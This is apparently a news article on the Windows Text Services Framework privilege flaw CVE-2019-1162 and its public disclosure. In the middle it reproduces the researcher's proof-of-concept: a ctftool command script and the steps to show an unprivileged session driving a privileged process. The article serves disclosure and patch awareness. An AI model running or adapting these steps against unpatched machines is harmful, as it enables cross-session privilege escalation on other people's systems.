Back in May, Google Project Zero researcher Tavis Ormandy uncovered a severe bug primarily affecting all Microsoft Windows users. The bug, (CVE-2019-1162), specifically affects a major part of the Text Services Framework. The bug is actually 20 years old and can give an unprivileged attacker full-system privileges when properly exploited.

The reason for this is explained in Ormandy's extensive research document as follows:

1. The ctfmon ALPC port is accessible across sessions, allowing users to compromise other users of the system.
2. UIPI can be bypassed, sending input events to higher integrity windows. This is an AppContainer or IL sandbox escape.
3. The msctf client disables UIPI for Marshal event windows. As far as I can tell, this is unnecessary, only ctfmon should be sending these messages, which is already high integrity.
4. The MSG_CALLSTUB command does not validate the command index, allowing arbitrary code execution.
4a. Frankly, even if you call a legitimate stub, you’re often trusted to Marshal pointers across the interface.
The bug is exploited in the following scenario presented by Ormandy:
* Login as an Administrator to Session 1.
* Please make sure that you do not have an open copy of notepad.
* Use Fast User Switching (i.e. Ctrl-Alt-Del, Switch User) to create an unprivileged standard user session.
* Create a file containing these commands:

connect Default 1
Sleep 10000
wait notepad.exe
createstub 0 4 IID_ITfInputProcessorProfileMgr
setarg 6
setarg 0x201 0x41414141
setarg 0x20001 0x41414142
setarg 0x10001 0x41414145
setarg 0x201 0x41414146
callstub 0 0 3

Run the following command:

PS Z:\Home> cat .\script.txt | .\ctftool.exe

* Use fast user switching to return to Session 1.
* Run windbg -c g ‘notepad.exe’
* Wait 10 seconds, observe that notepad dereferences 0x41414141.

This proves that an unprivileged user can interact with processes on a privileged session.

UIPI can be bypassed, sending input events to higher integrity windows.

As is shown, the attack is not that difficult to carry out and it makes sense that Ormandy was concerned about the possible attacks to follow. According to Ormandy's later comments, however, Microsoft at first failed to make patching the Windows bug a priority. Initially, Microsoft said their engineering team would be working on solutions in June, but after this, the company apparently ignored any request for updates or evidence of solutions. For this reason, Ormandy released the data to the public and held Microsoft's feet to the fire.

The strategy worked, as roughly three months later the company set in motion a series of events that led to the patch finally being released. This is now available to anyone running Windows. Do not ignore this patch as the public knowledge of the attack method puts people more at risk. There is always a catch-22 involved in revealing bugs to the public pre-patch, but if there is no initiative being shown by the company to patch, not many other options are available.